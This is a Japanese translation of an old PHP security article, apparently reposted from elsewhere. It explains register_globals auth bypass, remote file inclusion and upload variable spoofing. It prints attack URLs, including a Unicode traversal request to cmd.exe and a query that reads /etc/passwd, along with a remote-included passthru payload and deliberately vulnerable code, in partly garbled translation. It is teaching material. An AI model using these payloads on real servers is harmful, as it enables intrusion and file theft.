ホームページ  >  記事  >  php教程  >  PHP プログラムの一般的な脆弱性を攻撃する方法 (パート 1)

PHP プログラムの一般的な脆弱性を攻撃する方法 (パート 1)

WBOY
WBOYオリジナル
2016-06-21 09:13:17848ブラウズ

プログラム

原文は比較的長く、記事の背景やPHPの基礎知識の紹介がかなりの部分を占めており、PHPのセキュリティについては触れていないため、翻訳は省略しました。これについて詳しく知りたい場合は、元の記事を参照してください。

この記事では、主にグローバル変数、リモート ファイル、ファイル アップロード、ライブラリ ファイル、セッション ファイル、データ型、エラーが発生しやすい関数の側面から PHP のセキュリティを分析し、PHP のセキュリティを強化する方法についていくつかの有用な提案を提示しています。 PHP の提案。

さて、ナンセンスな話はこれくらいにして、本題に取り掛かりましょう!

[グローバル変数]
PHPの変数は事前に宣言する必要はありません。初めて使用するときに自動的に作成され、型を指定する必要はありません。コンテキストに基づいて自動的に決定されます。 。プログラマの観点から見ると、これは間違いなく非常に便利なアプローチです。明らかに、これは高速開発言語の非常に便利な機能でもあります。変数を作成したら、プログラム内のどこでも使用できます。この機能の結果、最初に作成された変数は空であるため、プログラマが変数を初期化することはほとんどありません。

明らかに、PHP ベースのアプリケーションの main 関数は通常、ユーザー入力 (主にフォーム変数、アップロードされたファイル、Cookie など) を受け入れ、入力データを処理して、結果をクライアントのブラウザーに返します。 PHP コードがユーザー入力にできるだけ簡単にアクセスできるようにするために、PHP は実際にこの入力データをグローバル変数として扱います。

例:




明らかに、これによりテキスト ボックスと送信ボタンが表示されます。ユーザーが送信ボタンをクリックすると、「test.php」がユーザーの入力を処理します。「test.php」が実行されると、ユーザーがテキスト ボックスに入力したデータが「$hello」に含まれます。ここから、攻撃者が自分の希望に応じて任意のグローバル変数を作成できることがわかります。攻撃者がフォーム入力を通じて「test.php」を呼び出すのではなく、ブラウザのアドレスバーに http://server/test.php?hello=hi&setup=no を直接入力すると、「$hello」だけでなく、 「$setup」も作成されます。

翻訳者注: これら 2 つのメソッドは、通常「POST」メソッドと「GET」メソッドと呼ばれるものです。
次のユーザー認証コードは、PHP のグローバル変数によって引き起こされるセキュリティ問題を明らかにします:

if ($pass == "hello")
$auth = 1
...
if ($auth == 1; )
echo "some important information";
?>

上記のコードは、最初にユーザーのパスワードが "hello" であるかどうかを確認し、一致する場合は、"$auth" を "1" に設定します。 。その後、「$suth」が「1」の場合、いくつかの重要な情報が表示されます。

表面的には正しいように見えますし、かなりの人がそうしていますが、このコードは、値が設定されていないときに「$auth」が空であると想定するという間違いを犯しており、攻撃者は何も考えずに任意のグローバルを作成できます。 「http://server/test.php?auth=1」のようなメソッドを使用すると、このコードを完全に騙して認証済みであると信じ込ませることができます。

したがって、PHP プログラムのセキュリティを向上させるために、明確に定義されていない変数は信頼できません。プログラム内に多くの変数がある場合、これは非常に困難な作業になる可能性があります。

一般的な保護方法は、送信方法 (GET または POST) に応じて、配列 HTTP_GET[] または POST_VARS[] 内の変数をチェックすることです。 PHP が「track_vars」オプションをオンにして構成されている場合 (これがデフォルトです)、ユーザーが送信した変数はグローバル変数と上記の配列で使用できます。

しかし、PHP にはユーザー入力を処理するための 4 つの異なる配列変数があることは言及する価値があります。 HTTP_GET_VARS 配列は GET モードで送信された変数の処理に使用され、HTTP_POST_VARS 配列は POST モードで送信された変数の処理に使用され、HTTP_COOKIE_VARS 配列は Cookie ヘッダーとして送信された変数の処理に使用され、HTTP_POST_FILES 配列 (比較的新しい PHP によって提供される) に使用されます。 )、これはユーザーが変数を送信するための完全にオプションの方法です。ユーザーリクエストは変数をこれら 4 つの配列に簡単に保存できるため、安全な PHP プログラムはこれら 4 つの配列をチェックする必要があります。

[リモートファイル]
PHPは機能が豊富な言語であり、多数の関数が提供されているため、プログラマーは特定の機能を簡単に実装できます。しかし、セキュリティの観点から見ると、機能が増えれば増えるほど、安全に保つことが難しくなります。リモート ファイルはこの問題の良い例です。

if (!($fd = fopen ("$filename ", "r"))
echo("ファイルを開けませんでした: $filename
n");
?>

上記のスクリプトは、ファイル「$filename」を開こうとしますが、失敗するとエラー メッセージが表示されます。明らかに、「$filename」を指定できれば、このスクリプトを使用してシステム内の任意のファイルを参照できます。ただし、このスクリプトのあまり目立たない機能は、他の WEB サイトまたは FTP サイトからファイルを読み取ることができることです。実際、PHP のファイル処理関数のほとんどは、リモート ファイルを透過的に処理します。

例:
「$filename」を「http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir」として指定した場合
実際には上記のコードホスト ターゲットの Unicode 脆弱性を利用して、dir コマンドを実行します。

これにより、リモート ファイルの include()、require()、include_once()、require_once() のサポートがコンテキストでより興味深いものになります。これらの関数の主な機能は、指定されたファイルの内容を組み込み、PHP コードに従って解釈することです。これらは主にライブラリ ファイルで使用されます。

例:
include($libdir . "/lungs.php");
?>

上記の例では、通常、「$libdir」は、攻撃者が「$libdir」を設定しないようにできれば、このパスを変更できます。しかし、攻撃者は指定したパスにあるファイル language.php にしかアクセスできないため、何もできません (Perl の「Poison null byte」攻撃は PHP には影響しません)。しかし、リモート ファイルのサポートにより、攻撃者は何でもできるようになります。たとえば、攻撃者は次の内容を含むファイル language.php をサーバーに配置し、

passthru("/bin/ls /etc"); を置き換えます。 $ libdir" は "http:///" に設定されているため、ターゲット ホスト上で上記の攻撃コードを実行でき、"/etc" ディレクトリの内容が次のように顧客のブラウザに返されます。結果。

攻撃サーバー (つまり、evilhost) は PHP コードを実行できないことに注意してください。そうでない場合、特定の技術的な内容を知りたい場合、攻撃コードはターゲット サーバーではなく攻撃サーバーで実行されます。詳細については、http://www.securereality.com.au/sradv00006.txt を参照してください。

[ファイル アップロード]
PHP は、RFC 1867 に基づいてファイル アップロードを自動的にサポートします。次の例を見てみましょう:





上記のコードにより、ユーザーはローカル マシンからファイルを選択できます。送信をクリックすると、ファイルがサーバーにアップロードされます。これは明らかに便利な機能ですが、PHP の応答方法により安全ではありません。 PHP がそのようなリクエストを初めて受信すると、呼び出された PHP コードの解析を開始する前でも、まずリモート ユーザーからファイルを受け入れ、ファイルの長さが「$MAX_FILE_SIZE 変数」で定義された値を超えているかどうかを確認します。テスト用に、ファイルはローカルの一時ディレクトリに保存されます。

したがって、PHP プログラムがファイルのアップロードを受け入れるかどうかを決定する前に、攻撃者は PHP を実行しているホストに任意のファイルを送信することができます。

ここでは、ファイルのアップロードを使用してサーバーに DOS 攻撃を実行する可能性については説明しません。

ファイルのアップロードを処理する PHP プログラムを考えてみましょう。ファイルは受信され、サーバーに保存されます (場所は構成ファイルで指定されており、通常は /tmp)。拡張子は通常、次のようなランダムです。 「phpxXuoXG」という形式。 PHP プログラムはファイルを処理するためにファイルの情報をアップロードする必要があります。これには 2 つの方法があります。1 つは PHP 3 ですでに使用されており、もう 1 つは以前の方法に関するセキュリティ アドバイザリを作成した後に導入されました。

しかし、問題は依然として存在しており、ほとんどの PHP プログラムはアップロードされたファイルを処理するために依然として古い方法を使用していると断言できます。 PHP は、上記の例のように、アップロードされたファイルを記述するために 4 つのグローバル変数を設定します:

$hello = ローカル マシン上のファイル名 (例: "/tmp/phpxXuoXG")
$hello_size = ファイルのバイト単位のサイズ (例: 1024)
$hello_name = リモート システム上のファイルの元の名前 (例: "c:\temp\hello.txt")
$hello_type = アップロードされたファイルの MIME タイプ (例: "text/plain")

その後、PHP プログラムが処理を開始します。 "$hello" で指定されたファイルにコピーする場合、問題は、"$hello" が必ずしも PHP によって設定された変数である必要はなく、リモート ユーザーなら誰でも指定できることです。次のメソッドを使用すると:

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

結果は次の PHP グローバル変数になります (もちろん POSTメソッドも OK (Cookie も)):

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

上記のフォーム データは、PHP プログラムが期待する変数を正確に満たしていますが、現時点では、PHP プログラムはアップロードされたファイルを処理せず、代わりに「/etc/passwd」を処理します (通常、コンテンツが公開されます)。この攻撃を使用すると、機密ファイルの内容が暴露される可能性があります。

新しいバージョンの PHP は HTTP_POST_FILES[] を使用してアップロードされたファイルを判断し、この問題を解決するための多くの関数も提供していると前に述べました。たとえば、ファイルが実際にアップロードされたかどうかを判断する関数があります。これらの関数はこの問題をうまく解決しますが、実際には、依然として古い方法を使用しており、この攻撃に対して脆弱な PHP プログラムが数多くあるはずです。

ファイル アップロード攻撃手法のバリエーションとして、次のコードを見てみましょう:

if (file_exists($theme)) // ファイルがローカル システムに存在するかどうかを確認します (いいえリモート ファイル)
include("$theme");
?>

攻撃者が "$theme" を制御できる場合、"$theme" を使用してリモート システム上の任意のファイルを読み取ることができることは明らかです。攻撃者の最終的な目標は、リモート サーバー上で任意の命令を実行することですが、リモート ファイルを使用できないため、リモート サーバー上に PHP ファイルを作成する必要があります。これは最初は不可能に思えるかもしれませんが、攻撃者が最初にローカル マシン上に PHP コードを含むファイルを作成し、次に "theme" という名前のファイル フィールドを含むフォームを作成し、最後にこのフォームを使用すると、これが行われます。作成した PHP コードを含むファイルをファイルアップロードを通じて上記のコードに送信すると、PHP は攻撃者が送信したファイルを保存し、file_exists() 関数を攻撃者が送信したファイルに設定します。チェックに合格し、攻撃者のコードが実行されます。

任意の命令を実行する能力を獲得した後、攻撃者は明らかに特権を昇格させたり、結果を拡大したりすることを望んでいます。そのためにはサーバー上で利用できないいくつかのツールセットが必要ですが、ファイルのアップロードが再び役に立ちました。攻撃者は、ファイル アップロード機能を使用してツールをアップロードし、サーバーに保存してからコマンドを実行し、chmod() を使用してファイルのアクセス許可を変更し、それを実行する可能性があります。たとえば、攻撃者はファイアウォールまたは IDS をバイパスして、ローカルの root 攻撃プログラムをアップロードして実行し、root 権限を取得する可能性があります。

<続く>



声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。